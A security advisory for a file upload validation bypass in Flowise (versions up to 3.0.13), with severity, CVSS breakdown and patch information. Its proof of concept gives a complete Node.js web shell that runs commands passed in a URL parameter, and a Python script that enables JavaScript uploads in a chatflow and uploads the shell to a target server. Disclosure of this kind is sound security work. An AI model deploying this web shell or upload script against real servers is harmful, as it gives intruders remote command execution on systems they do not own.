Flowise: File Upload Validation Bypass in createAttachment

Description

Summary

In FlowiseAI, the Chatflow configuration file upload settings can be modified to allow the application/javascript MIME type. This lets an attacker upload .js files even though the frontend doesn’t normally allow JavaScript uploads. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).

Details

This is a bypass of GHSA‑35g6‑rrw3‑v6xc (CVE‑2025‑61687). The Chatflow file upload settings do not properly validate MIME types. An attacker can add the application/javascript MIME type when updating a Chatflow, allowing .js files to be uploaded.

JavaScript files are not listed as an option for file upload types within web user interface:
<img width="1162" height="440" alt="Screenshot 2026-01-08 152306" src="https://github.com/user-attachments/assets/f33f04af-877e-4aac-95a7-86d4684891de" />

PoC

shell.js (Node.js Web Shell)

const { exec } = require(&#x27;child_process&#x27;);
const http = require(&#x27;http&#x27;);

const server = http.createServer((req, res) =&gt; {
    const url = new URL(req.url, &#x27;http://localhost&#x27;);
    const cmd = url.searchParams.get(&#x27;cmd&#x27;);

    if (cmd) {
        console.log(`Executing: ${cmd}`);
        exec(cmd, (error, stdout, stderr) =&gt; {
            res.writeHead(200, {&#x27;Content-Type&#x27;: &#x27;text/plain&#x27;});
            if (error) {
                res.end(`Error: ${error.message}\n${stderr || &#x27;&#x27;}`);
            } else {
                res.end(stdout || &#x27;Command executed successfully&#x27;);
            }
        });
    } else {
        res.writeHead(200, {&#x27;Content-Type&#x27;: &#x27;text/html&#x27;});
        res.end(`
            &lt;h1&gt;Node.js Web Shell&lt;/h1&gt;
            &lt;p&gt;Use ?cmd=command to execute&lt;/p&gt;
            &lt;p&gt;Example: ?cmd=id&lt;/p&gt;
        `);
    }
});

const PORT = 8888;
server.listen(PORT, &#x27;0.0.0.0&#x27;, () =&gt; {
    console.log(`Shell running on port ${PORT}`);
    console.log(`Access: http://localhost:${PORT}?cmd=id`);
});

Python Upload Script

import requests
import uuid

TARGET_URL = &quot;http://192.168.236.131:3000&quot;
CHATFLOW_ID = &quot;dfd67fff-23b5-4f62-a0b3-59963cabc3b2&quot;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mjk1ODUsImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.U3mm0ONOeGFP1gD-mPT90Iz_Ewwf-YXzmTPwoOEHG_g; connect.sid=s%3Avwp7SDKi02Mzu_nTF3-IZ-RfgmMnnp5o.K7kb5eg9CJ%2FuxupG4rJrT6I0fu0H93OTd5trNC0u88Y&#x27;
js_mime_type = &#x27;application/javascript&#x27;
CHAT_ID = str(uuid.uuid4())

def configure_chatflow_uploadfile():
    url = f&quot;{TARGET_URL}/api/v1/chatflows/{CHATFLOW_ID}&quot;
    headers = {&#x27;Cookie&#x27;: cookie_str, &#x27;x-request-from&#x27;: &#x27;internal&#x27;}
    chatbot_configdata = {&quot;chatbotConfig&quot;:&#x27;{\&quot;fullFileUpload\&quot;:{\&quot;status\&quot;:true,\&quot;allowedUploadFileTypes\&quot;:\&quot;&#x27; + js_mime_type + &#x27;,text/css,text/csv,text/html,application/json,text/markdown,application/x-yaml,application/pdf,application/sql,text/plain,application/xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,application/vnd.openxmlformats-officedocument.presentationml.presentation\&quot;,\&quot;pdfFile\&quot;:{\&quot;usage\&quot;:\&quot;perPage\&quot;,\&quot;legacyBuild\&quot;:false}}}&#x27;}
    r = requests.put(url, headers=headers, json = chatbot_configdata)

    if js_mime_type in r.text:
        print(&quot;[+] Enabled .js file uploads&quot;)
    else:
        print(&quot;[-] Failed to enable .js file uploads&quot;)

def upload_shell():
    url = f&quot;{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}&quot;
    headers = {&#x27;Cookie&#x27;: cookie_str}
    files = {&#x27;files&#x27;: (&#x27;shell.js&#x27;, open(&#x27;shell.js&#x27;, &#x27;rb&#x27;), &#x27;application/javascript&#x27;)}
    r = requests.post(url, headers=headers, files=files)

    if r.status_code == 200:
        print(&quot;[+] Upload success&quot;)
        print(r.text)
    else:
        print(f&quot;[-] Upload failed ({r.status_code})&quot;)
        print(r.text)

if __name__ == &quot;__main__&quot;:
    configure_chatflow_uploadfile()
    upload_shell()

<img width="839" height="231" alt="image" src="https://github.com/user-attachments/assets/0d2e8384-8da6-4ada-a81a-a85c49476673" />

Impact

An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-04-16 21:49:28 UTC
Updated
2026-04-24 20:58:07 UTC
GitHub reviewed
2026-04-16 21:49:28 UTC
NVD published
2026-04-23

EPSS Score

Score Percentile
0.07% 21.78%

CVSS Scores

Base score Version Severity Vector
7.1 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:L)
A normal user session is enough; they don’t have to be admin.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:L)
Some sensitive info could get out, but not a total data dump.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-434 Unrestricted Upload of File with Dangerous Type

Credits

  • quirmz (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
npm flowise <= 3.0.13 3.1.0

References

cvelogic Threat Intelligence